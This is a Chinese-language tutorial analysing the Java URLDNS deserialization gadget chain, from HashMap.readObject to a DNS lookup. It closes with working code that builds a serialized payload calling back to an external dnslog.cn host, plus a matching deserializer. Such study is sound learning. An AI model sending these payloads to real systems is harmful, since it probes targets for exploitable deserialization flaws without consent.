前言
URLDNS链其实就是DNSlog。可以用来判断目标是否出网或者漏洞是否利用成功。这个利用链适合刚入门反序列化的新手分析。
URLDNS链是HashMap对象的反序列化过程,即通过HashMap的readObject方法来实现的链条。
最后payload代码会在文末放出。
分析
那么我们首先找到HashMap的readObject方法。
在readObject
方法中调用了hash
方法,并传入参数key。
跟踪hash
方法,在hash
方法中发现调用了key的hashcode
方法
这里的key就是HashMap对象的键,这里就可以思考一个问题了,当反序列化的时候(即调用readObject的时候),调用了键的hashCode方法,hashCode方法是Object类的一个方法,那我们可以找一个重写过hashCode方法的类,然后实例化这个类的对象,放到HashMap的键里,序列化这个HashMap对象,然后当反序列化的时候,就要调用这个对象的hashCode方法。
但是前提是这个类的hashCode方法可以实现我们想要的功能。例如java.net.URL
类。
那么下面我们来分析一下java.net.URL
类的hashCode方法。
可以看到,这里有一个IF判断,而hashCode
属性默认是-1
。这段代码的意思就是,当第一次调用hashCode
方法的时候,hashCode为-1
,不会进入if判断。当第二次或以后调用hashCode
方法的时候,就会进入if判断了,直接返回hashCode
属性。
到了这里我们跟进一下handler.hashCode
方法,传了this
参进去,这个this
其实就是HashMap的键,后面自己调试跟踪一下就明白了,handler
其实是一个UrLStreamHandler
类对象。
找到UrLStreamHandler
类的HashCode
方法。
调试的时候你就会发现u
就是我们的dnslog地址。
跟进getHostAddress
方法。只要是正常的url,就不会return null
。
重点在getByName
方法。这个方法会发送请求解析域名为IP。通过这种方法最终实现了DNSlog,单步步过,可以发现,已经解析为了127.0.0.1
。
DNSLog这里已经成功接收到请求了。
代码
序列化代码
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class Ser {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://cbqv10.dnslog.cn");
//获取URL类的hashCode属性
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
// 修改访问权限,必须使用setAccessible方法设置为True才能修改private属性
f.setAccessible(true);
// 设置hashCode值为123,这里可以是任何不为-1的数字。先这样设置是因为HashMap的put方法也会调用hash(key)方法,
// 如果不这样的话,会在序列化的时候调用put方法然后调用hash(key),然后直接进行了dnslog。
f.set(url,123);
//往HashMap中添加Key为URL对象
map.put(url,"123");
// 将url的hashCode重新设置为-1。确保在反序列化时能够成功触发
f.set(url,-1);
try{
// 序列化对象
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
反序列化代码
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class Deser {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// 反序列化对象
FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream ois = new ObjectInputStream(fileInputStream);
ois.readObject();
}
}
参考
https://guokeya.github.io/post/ZcF1VXwaH/